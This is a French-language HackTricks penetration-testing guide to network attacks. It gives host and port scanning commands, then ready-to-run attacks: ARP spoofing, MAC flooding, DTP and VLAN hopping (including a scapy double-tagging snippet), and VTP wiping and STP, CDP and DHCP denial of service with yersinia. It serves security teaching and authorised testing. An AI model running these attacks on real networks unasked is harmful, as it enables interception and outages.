.. | ||
dhcpv6.md | ||
eigrp-attacks.md | ||
glbp-and-hsrp-attacks.md | ||
ids-evasion.md | ||
lateral-vlan-segmentation-bypass.md | ||
network-protocols-explained-esp.md | ||
nmap-summary-esp.md | ||
pentesting-ipv6.md | ||
README.md | ||
spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md | ||
spoofing-ssdp-and-upnp-devices.md |
Pentesting Network
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? Ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Astuce de bug bounty : inscrivez-vous sur Intigriti, une plateforme premium de bug bounty créée par des hackers, pour des hackers ! Rejoignez-nous sur https://go.intigriti.com/hacktricks dès aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !
{% embed url="https://go.intigriti.com/hacktricks" %}
Découverte des hôtes depuis l'extérieur
Il s'agit d'une section brève sur la façon de trouver les adresses IP qui répondent depuis Internet.
Dans cette situation, vous avez une plage d'adresses IP (peut-être même plusieurs plages) et vous voulez simplement trouver les adresses IP qui répondent.
ICMP
C'est le moyen le plus facile et le plus rapide de découvrir si un hôte est actif ou non.
Vous pouvez essayer d'envoyer des paquets ICMP et attendre des réponses. Le moyen le plus simple est d'envoyer une demande d'écho et d'attendre la réponse. Vous pouvez le faire en utilisant une simple commande ping
ou en utilisant fping
pour les plages d'adresses.
Vous pouvez également utiliser nmap pour envoyer d'autres types de paquets ICMP (cela évitera les filtres pour les demandes-réponses d'écho ICMP courantes).
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
Découverte des ports TCP
Il est très courant de constater que tous les types de paquets ICMP sont filtrés. Dans ce cas, la seule chose que vous pouvez faire pour vérifier si un hôte est actif est de chercher des ports ouverts. Chaque hôte possède 65535 ports, donc si vous avez un "grand" périmètre, vous ne pouvez pas tester si chaque port de chaque hôte est ouvert ou non, cela prendrait trop de temps.
Ce dont vous avez besoin, c'est d'un scan de ports rapide (masscan) et d'une liste des ports les plus utilisés :
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
Vous pouvez également effectuer cette étape avec nmap
, mais c'est plus lent et nmap
a parfois des problèmes pour identifier les hôtes actifs.
Découverte des ports HTTP
Il s'agit simplement d'une découverte des ports TCP utile lorsque vous souhaitez vous concentrer sur la découverte de services HTTP :
masscan -p80,443,8000-8100,8443 199.66.11.0/24
Découverte de port UDP
Vous pouvez également essayer de vérifier si certains ports UDP sont ouverts pour décider si vous devez accorder plus d'attention à un hôte. Comme les services UDP ne répondent généralement pas avec des données à un paquet de sondage UDP vide, il est difficile de dire si un port est filtré ou ouvert. La manière la plus simple de le déterminer est d'envoyer un paquet lié au service en cours d'exécution, et comme vous ne savez pas quel service est en cours d'exécution, vous devriez essayer celui qui est le plus probable en fonction du numéro de port :
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
La ligne nmap proposée précédemment testera les 1000 ports UDP les plus courants sur chaque hôte dans la plage /24, mais cela prendra plus de 20 minutes. Si vous avez besoin de résultats plus rapides, vous pouvez utiliser udp-proto-scanner : ./udp-proto-scanner.pl 199.66.11.53/24
. Cela enverra ces sondages UDP sur leur port attendu (pour une plage /24, cela ne prendra qu'une minute) : DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
Découverte des ports SCTP
#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>
Pentesting Wifi
Ici, vous pouvez trouver un guide complet de toutes les attaques Wifi bien connues au moment de la rédaction :
{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}
Découverte des hôtes depuis l'intérieur
Si vous êtes à l'intérieur du réseau, l'une des premières choses que vous voudrez faire est de découvrir les autres hôtes. Selon le niveau de bruit que vous pouvez/voulez générer, différentes actions peuvent être effectuées :
Passif
Vous pouvez utiliser ces outils pour découvrir passivement les hôtes à l'intérieur d'un réseau connecté :
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Actif
Notez que les techniques commentées dans Découverte des hôtes depuis l'extérieur (Découverte des ports TCP/HTTP/UDP/SCTP) peuvent également être appliquées ici.
Cependant, étant donné que vous êtes dans le même réseau que les autres hôtes, vous pouvez faire plus de choses:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
ICMP actif
Notez que les techniques commentées dans Découverte des hôtes depuis l'extérieur (ICMP) peuvent également être appliquées ici.
Mais, étant donné que vous êtes dans le même réseau que les autres hôtes, vous pouvez faire plus de choses :
- Si vous pinguez une adresse de diffusion de sous-réseau, le ping devrait arriver à chaque hôte et ils pourraient vous répondre :
ping -b 10.10.5.255
- En pingant l'adresse de diffusion du réseau, vous pourriez même trouver des hôtes à l'intérieur d'autres sous-réseaux :
ping -b 255.255.255.255
- Utilisez les indicateurs
-PE
,-PP
,-PM
denmap
pour effectuer une découverte d'hôte en envoyant respectivement des demandes ICMPv4 echo, timestamp et masque de sous-réseau :nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan est utilisé pour allumer les ordinateurs via un message réseau. Le paquet magique utilisé pour allumer l'ordinateur est simplement un paquet où un MAC Dst est fourni et est ensuite répété 16 fois à l'intérieur du même paquet.
Ces types de paquets sont généralement envoyés dans un ethernet 0x0842 ou dans un paquet UDP sur le port 9.
Si aucun [MAC] n'est fourni, le paquet est envoyé à l'ethernet de diffusion (et le MAC de diffusion sera celui qui est répété).
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
Analyse des hôtes
Une fois que vous avez découvert toutes les adresses IP (externes ou internes) que vous souhaitez analyser en profondeur, différentes actions peuvent être effectuées.
TCP
- Port ouvert : SYN --> SYN/ACK --> RST
- Port fermé : SYN --> RST/ACK
- Port filtré : SYN --> [PAS DE RÉPONSE]
- Port filtré : SYN --> message ICMP
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
Il existe 2 options pour scanner un port UDP :
- Envoyer un paquet UDP et vérifier la réponse ICMP unreachable si le port est fermé (dans plusieurs cas, ICMP sera filtré et vous ne recevrez aucune information si le port est fermé ou ouvert).
- Envoyer des datagrammes formatés pour obtenir une réponse d'un service (par exemple, DNS, DHCP, TFTP et autres, comme indiqué dans nmap-payloads). Si vous recevez une réponse, alors le port est ouvert.
Nmap va mélanger les deux options en utilisant "-sV" (les scans UDP sont très lents), mais notez que les scans UDP sont plus lents que les scans TCP :
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
Analyse SCTP
SCTP fonctionne aux côtés de TCP et UDP. Destiné à fournir le transport des données de téléphonie sur IP, le protocole duplique de nombreuses fonctionnalités de fiabilité du système de signalisation 7 (SS7) et constitue la base d'une famille de protocoles plus large connue sous le nom de SIGTRAN. SCTP est pris en charge par des systèmes d'exploitation tels que IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS et VxWorks.
Deux analyses différentes pour SCTP sont proposées par nmap : -sY et -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
Évasion des IDS et IPS
{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}
Plus d'options nmap
{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}
Révélation des adresses IP internes
Les routeurs, pare-feu et dispositifs réseau mal configurés répondent parfois aux sondes réseau en utilisant des adresses source non publiques. Vous pouvez utiliser tcpdump pour identifier les paquets reçus à partir d'adresses privées lors des tests. Dans ce cas, l'interface eth2 de Kali Linux est adressable depuis l'Internet public (Si vous êtes derrière un NAT d'un pare-feu, ce type de paquets sera probablement filtré).
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing
En sniffant, vous pouvez obtenir des détails sur les plages d'adresses IP, les tailles de sous-réseau, les adresses MAC et les noms d'hôtes en examinant les trames et les paquets capturés. Si le réseau est mal configuré ou si le tissu de commutation est sous pression, les attaquants peuvent capturer du matériel sensible via le sniffing passif du réseau.
Si un réseau Ethernet commuté est correctement configuré, vous ne verrez que les trames de diffusion et le matériel destiné à votre adresse MAC.
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
On peut également capturer des paquets à partir d'une machine distante via une session SSH avec Wireshark en tant qu'interface graphique en temps réel.
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
Bettercap est un outil de piratage réseau puissant et polyvalent utilisé pour effectuer des tests de pénétration sur les réseaux. Il est conçu pour intercepter, analyser et manipuler le trafic réseau en temps réel. Bettercap offre une large gamme de fonctionnalités, notamment la capture de paquets, l'injection de paquets, le détournement de sessions, la falsification d'adresses MAC, la détection d'intrusion et bien plus encore.
L'outil est basé sur le framework de piratage réseau Ettercap et est écrit en Go, ce qui lui confère une grande vitesse et une grande efficacité. Bettercap prend en charge plusieurs interfaces réseau, y compris Ethernet, Wi-Fi et Bluetooth, ce qui en fait un choix idéal pour les tests de pénétration sur différents types de réseaux.
Pour utiliser Bettercap, vous devez d'abord installer et configurer les dépendances requises, telles que libpcap, libnetfilter-queue et libusb. Une fois installé, vous pouvez exécuter Bettercap en utilisant la ligne de commande ou en utilisant l'interface graphique utilisateur (GUI) fournie.
Bettercap offre une variété de modules et de plugins qui peuvent être utilisés pour effectuer des attaques spécifiques, telles que l'ARP spoofing, le DNS spoofing, le SSLstrip, le sniffing de mots de passe, etc. Il est également extensible, ce qui signifie que vous pouvez développer vos propres modules pour répondre à vos besoins spécifiques.
En résumé, Bettercap est un outil puissant et polyvalent pour les tests de pénétration réseau. Il offre une large gamme de fonctionnalités et est facile à utiliser, ce qui en fait un choix populaire parmi les professionnels de la sécurité et les chercheurs en sécurité.
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
Évidemment.
Capture des identifiants
Vous pouvez utiliser des outils comme https://github.com/lgandx/PCredz pour extraire les identifiants à partir d'un fichier pcap ou d'une interface en direct.
Attaques LAN
ARP spoofing
Le spoofing ARP consiste à envoyer des réponses ARP gratuites pour indiquer que l'adresse IP d'une machine correspond à l'adresse MAC de notre appareil. Ensuite, la victime modifiera la table ARP et contactera notre machine chaque fois qu'elle voudra contacter l'adresse IP usurpée.
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
L'outil arpspoof est utilisé pour mener des attaques d'empoisonnement ARP dans le cadre d'un test de pénétration réseau. L'empoisonnement ARP consiste à envoyer de fausses informations ARP à des hôtes cibles, ce qui les amène à associer une adresse IP à une adresse MAC incorrecte. Cela permet à l'attaquant de rediriger le trafic réseau vers sa propre machine, ce qui lui permet de capturer et d'analyser les données sensibles.
Pour utiliser arpspoof, vous devez d'abord activer le transfert de paquets sur votre machine. Cela peut être fait en exécutant la commande suivante :
echo 1 > /proc/sys/net/ipv4/ip_forward
Ensuite, vous pouvez exécuter la commande suivante pour lancer l'attaque d'empoisonnement ARP :
arpspoof -i <interface> -t <cible> <routeur>
Remplacez <interface>
par l'interface réseau que vous souhaitez utiliser, <cible>
par l'adresse IP de la machine cible et <routeur>
par l'adresse IP du routeur par défaut.
Une fois l'attaque lancée, vous pourrez voir le trafic réseau de la machine cible en utilisant des outils tels que Wireshark. Assurez-vous d'utiliser cette technique de manière éthique et légale, avec l'autorisation appropriée.
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding - Débordement de la table CAM
Débordez la table CAM du commutateur en envoyant de nombreux paquets avec différentes adresses MAC source. Lorsque la table CAM est pleine, le commutateur se comporte comme un concentrateur (diffusant tout le trafic).
macof -i <interface>
Dans les commutateurs modernes, cette vulnérabilité a été corrigée.
Attaques VLAN / DTP 802.1Q
Trunking dynamique
DTP (Dynamic Trunking Protocol) est un protocole de couche liaison conçu pour fournir un système de trunking automatique. Avec DTP, les commutateurs décident quel port fonctionnera en mode trunk (Trunk) et lequel ne le fera pas. L'utilisation de DTP indique une mauvaise conception du réseau. Les trunks devraient être strictement là où ils sont nécessaires et cela devrait être documenté.
Par défaut, tous les ports du commutateur fonctionnent en mode Dynamic Auto. Cela indique que le port du commutateur est en mode d'initialisation du trunk à partir du commutateur voisin. Le Pentester doit se connecter physiquement au commutateur et envoyer une trame DTP Desirable, ce qui déclenche le passage du port en mode trunk. L'attaquant peut ensuite énumérer les VLAN en utilisant l'analyse des trames STP et contourner la segmentation des VLAN en créant des interfaces virtuelles.
De nombreux commutateurs prennent en charge le protocole Dynamic Trunking (DTP) par défaut, ce qui permet à un adversaire de émuler un commutateur et de recevoir du trafic sur tous les VLAN. L'outil dtpscan.sh peut renifler une interface et indiquer si le commutateur est en mode par défaut, trunk, dynamique, auto ou access (c'est le seul qui éviterait le VLAN hopping). L'outil indiquera si le commutateur est vulnérable ou non.
Si l'on découvre que le réseau est vulnérable, vous pouvez utiliser Yersinia pour lancer une "activation du trunk" en utilisant le protocole "DTP" et vous pourrez voir les paquets réseau de tous les VLAN.
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
Pour énumérer les VLANs, il est également possible de générer le cadre DTP Desirable avec le script DTPHijacking.py**. Ne pas interrompre le script sous aucun prétexte. Il injecte DTP Desirable toutes les trois secondes. Les canaux de trunk créés dynamiquement sur le commutateur ne restent actifs que pendant cinq minutes. Après cinq minutes, le trunk se désactive.
sudo python3 DTPHijacking.py --interface eth0
Je tiens à souligner que Access/Desirable (0x03) indique que la trame DTP est de type "Desirable", ce qui indique au port de passer en mode Trunk. Et 802.1Q/802.1Q (0xa5) indique le type d'encapsulation 802.1Q.
En analysant les trames STP, nous découvrons l'existence des VLAN 30 et 60.
Attaquer des VLAN spécifiques
Une fois que vous connaissez les identifiants VLAN et les valeurs IP, vous pouvez configurer une interface virtuelle pour attaquer un VLAN spécifique.
Si DHCP n'est pas disponible, utilisez ifconfig pour définir une adresse IP statique.
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Saut automatique de VLAN
L'attaque discutée de Dynamic Trunking et la création d'interfaces virtuelles pour découvrir les hôtes à l'intérieur d'autres VLAN est automatiquement réalisée par l'outil : https://github.com/nccgroup/vlan-hopping---frogger
Double étiquetage
Si un attaquant connaît la valeur de l'adresse MAC, de l'adresse IP et de l'ID VLAN de l'hôte victime, il peut essayer de double étiqueter une trame avec son VLAN désigné et le VLAN de la victime, puis envoyer un paquet. Comme la victime ne pourra pas se connecter à l'attaquant, la meilleure option pour l'attaquant est de communiquer via UDP avec des protocoles capables d'effectuer des actions intéressantes (comme SNMP).
Une autre option pour l'attaquant est de lancer un scan de ports TCP en usurpant une adresse IP contrôlée par l'attaquant et accessible par la victime (probablement via internet). Ensuite, l'attaquant peut écouter sur le deuxième hôte qu'il possède pour voir s'il reçoit des paquets de la victime.
Pour effectuer cette attaque, vous pouvez utiliser scapy : pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Contournement de la segmentation VLAN latérale
Si vous avez accès à un commutateur auquel vous êtes directement connecté, vous avez la possibilité de contourner la segmentation VLAN au sein du réseau. Il vous suffit de passer le port en mode trunk (également appelé trunk), de créer des interfaces virtuelles avec les identifiants des VLAN cibles et de configurer une adresse IP. Vous pouvez essayer de demander l'adresse de manière dynamique (DHCP) ou la configurer de manière statique. Cela dépend du cas.
{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}
Contournement de VLAN privé de couche 3
Dans les réseaux sans fil pour invités et autres environnements, les paramètres de VLAN privé (également appelé isolation de port) sont utilisés pour empêcher les pairs d'interagir (c'est-à-dire que les clients se connectent à un point d'accès sans fil mais ne peuvent pas se communiquer entre eux). Selon les ACL réseau (ou leur absence), il est peut-être possible d'envoyer des paquets IP à un routeur, qui les renvoie ensuite à un pair voisin.
Cette attaque envoie un paquet spécialement conçu à l'adresse IP d'un client mais avec l'adresse MAC du routeur. Ensuite, le routeur redirigera le paquet vers le client. Comme dans les attaques à double étiquetage, vous pouvez exploiter cette vulnérabilité en contrôlant un hôte accessible par la victime.
Attaques VTP
VTP (VLAN Trunking Protocol) est un protocole conçu pour gérer de manière centralisée les VLAN. Pour suivre la base de données VLAN actuelle, les commutateurs vérifient des numéros de révision spéciaux. Lorsqu'une mise à jour de la table se produit, le numéro de révision est incrémenté de un. Et si un commutateur détecte une configuration avec un numéro de révision supérieur, il mettra automatiquement à jour sa base de données VLAN.
Rôles dans un domaine VTP
- Serveur VTP. Un commutateur dans le rôle de serveur VTP peut créer de nouveaux VLAN, supprimer les anciens ou modifier les informations dans les VLAN eux-mêmes. Il génère également des annonces VTP pour les autres membres du domaine.
- Client VTP. Un commutateur dans ce rôle recevra des annonces VTP spécifiques d'autres commutateurs du domaine pour mettre à jour les bases de données VLAN sur le sien. Les clients sont limités dans leur capacité à créer des VLAN et ne sont même pas autorisés à modifier la configuration VLAN localement. En d'autres termes, accès en lecture seule.
- Transparent VTP. Dans ce mode, le commutateur ne participe pas aux processus VTP et peut administrer localement et complètement la configuration VLAN entière. Lorsqu'il fonctionne en mode transparent, les commutateurs ne transmettent que les annonces VTP d'autres commutateurs sans affecter leur configuration VLAN. Ces commutateurs auront toujours un numéro de révision de zéro et ne peuvent pas être attaqués.
Types d'annonces
- Annonce de résumé — l'annonce VTP que le serveur VTP envoie toutes les 300 secondes (5 minutes). Cette annonce contient le nom de domaine VTP, la version du protocole, l'horodatage et la valeur de hachage de configuration MD5.
- Annonce partielle — il s'agit de l'annonce VTP qui est envoyée chaque fois qu'un changement de configuration VLAN se produit.
- Demande d'annonce — est une demande du client VTP au serveur VTP pour un message d'annonce de résumé. Généralement envoyée en réponse à un message indiquant qu'un commutateur a détecté une annonce de résumé avec un numéro de révision de configuration supérieur.
VTP ne peut être attaqué que depuis un port trunk, car les annonces VTP sont uniquement diffusées et reçues sur les ports trunk. Par conséquent, lorsque vous effectuez un test d'intrusion après avoir attaqué DTP, votre prochaine cible pourrait être VTP. Pour attaquer le domaine VTP, vous pouvez utiliser Yersinia pour exécuter une injection VTP qui effacera l'ensemble de la base de données VLAN et paralysera ainsi le réseau.
{% hint style="info" %} Le protocole VTP comporte jusqu'à trois versions. Dans cet article, l'attaque concerne la première version, VTPv1. {% endhint %}
yersinia -G #For graphic mode
Pour effacer l'intégralité de la base de données VLAN, sélectionnez l'option supprimer tous les VLAN VTP.
Attaques STP
Si vous ne pouvez pas capturer les trames BPDU sur vos interfaces, il est peu probable que vous réussissiez une attaque STP.
STP BPDU DoS
En envoyant beaucoup de BPDUs TCP (Notification de changement de topologie) ou Conf (les BPDUs envoyés lors de la création de la topologie), les commutateurs sont surchargés et cessent de fonctionner correctement.
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
Attaque STP TCP
Lorsqu'un paquet TCP est envoyé, la table CAM des commutateurs est supprimée au bout de 15 secondes. Ensuite, si vous envoyez continuellement ce type de paquets, la table CAM sera redémarrée en continu (ou toutes les 15 secondes) et lorsque cela se produit, le commutateur se comporte comme un concentrateur.
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
Attaque de la racine STP
L'attaquant simule le comportement d'un commutateur pour devenir la racine STP du réseau. Ensuite, plus de données passeront par lui. C'est intéressant lorsque vous êtes connecté à deux commutateurs différents.
Cela est réalisé en envoyant des paquets CONF BPDU indiquant que la valeur de priorité est inférieure à la priorité réelle du commutateur racine actuel.
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
Si l'attaquant est connecté à 2 commutateurs, il peut devenir la racine de l'arbre et tout le trafic entre ces commutateurs passera par lui (une attaque MITM sera effectuée).
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
Attaques CDP
Le protocole de découverte CISCO (CDP) est le protocole utilisé par les appareils CISCO pour communiquer entre eux, découvrir qui est en vie et quelles sont leurs fonctionnalités.
Collecte d'informations
Par défaut, le CDP envoie des annonces à tous ses ports. Mais que se passe-t-il si un intrus se connecte à un port sur le même commutateur ? En utilisant un sniffer réseau, que ce soit Wireshark, tcpdump ou Yersinia, il pourrait extraire des informations précieuses sur l'appareil lui-même, depuis son modèle jusqu'à la version de Cisco IOS. En utilisant ces informations, il sera en mesure d'énumérer la même version de Cisco IOS et de trouver la vulnérabilité pour ensuite l'exploiter.
Attaque de saturation CDP
Vous pouvez effectuer une attaque DoS sur un commutateur CISCO en épuisant la mémoire de l'appareil en simulant de vrais appareils CISCO.
sudo yersinia cdp -attack 1 #DoS Attack simulating new CISCO devices
# Or you could use the GUI
sudo yersinia -G
Sélectionnez l'option tableau de saturation CDP et lancez l'attaque. Le CPU du commutateur sera surchargé, ainsi que la table des voisins CDP, entraînant une "paralysie du réseau".
Attaque d'usurpation CDP
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
Vous pouvez également utiliser scapy. Assurez-vous de l'installer avec le package scapy/contrib
.
Attaques VoIP
Bien que destinés à être utilisés par les téléphones Voice over Internet Protocol (VoIP) des employés, les dispositifs VoIP modernes sont de plus en plus intégrés aux dispositifs IoT. De nombreux employés peuvent désormais déverrouiller des portes à l'aide d'un numéro de téléphone spécial, contrôler le thermostat de la pièce...
L'outil voiphopper imite le comportement d'un téléphone VoIP dans les environnements Cisco, Avaya, Nortel et Alcatel-Lucent. Il découvre automatiquement l'ID de VLAN correct pour le réseau vocal en utilisant l'un des protocoles de découverte de périphérique qu'il prend en charge, tels que le protocole de découverte Cisco (CDP), le protocole de configuration dynamique des hôtes (DHCP), le protocole de découverte de couche de liaison (LLDP-MED) et ARP 802.1Q.
VoIP Hopper prend en charge trois modes CDP. Le mode sniff inspecte les paquets réseau et tente de localiser l'ID de VLAN. Pour l'utiliser, définissez le paramètre -c
sur 0
. Le mode spoof génère des paquets personnalisés similaires à ceux qu'un véritable dispositif VoIP transmettrait dans le réseau d'entreprise. Pour l'utiliser, définissez le paramètre -c
sur 1
. Le mode de spoofing avec un paquet pre-madepacket envoie les mêmes paquets qu'un téléphone IP Cisco 7971G-GE. Pour l'utiliser, définissez le paramètre -c
sur 2
.
Nous utilisons la dernière méthode car c'est l'approche la plus rapide. Le paramètre -i
spécifie l'interface réseau de l'attaquant, et le paramètre -E
spécifie le nom du dispositif VOIP qui est imité. Nous avons choisi le nom SEP001EEEEEEEEE, qui est compatible avec le format de nommage Cisco pour les téléphones VoIP. Le format se compose du mot "SEP" suivi d'une adresse MAC. Dans les environnements d'entreprise, vous pouvez imiter un dispositif VoIP existant en regardant l'étiquette MAC à l'arrière du téléphone ; en appuyant sur le bouton Paramètres et en sélectionnant l'option Informations sur le modèle sur l'écran d'affichage du téléphone ; ou en connectant le câble Ethernet du dispositif VoIP à votre ordinateur portable et en observant les demandes CDP du dispositif à l'aide de Wireshark.
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
Si l'outil s'exécute avec succès, le réseau VLAN attribuera une adresse IPv4 à l'appareil de l'attaquant.
Attaques DHCP
Énumération
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
DoS
Il existe deux types de DoS qui peuvent être effectués contre les serveurs DHCP. Le premier consiste à simuler suffisamment de fausses machines pour utiliser toutes les adresses IP possibles. Cette attaque ne fonctionnera que si vous pouvez voir les réponses du serveur DHCP et terminer le protocole (Découverte (Comp) --> Offre (serveur) --> Demande (Comp) --> ACK (serveur)). Par exemple, cela n'est pas possible dans les réseaux Wifi.
Une autre façon de réaliser un DoS DHCP est d'envoyer un paquet DHCP-RELEASE en utilisant chaque adresse IP possible comme code source. Ensuite, le serveur pensera que tout le monde a fini d'utiliser l'adresse IP.
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
Une façon plus automatique de le faire est d'utiliser l'outil DHCPing
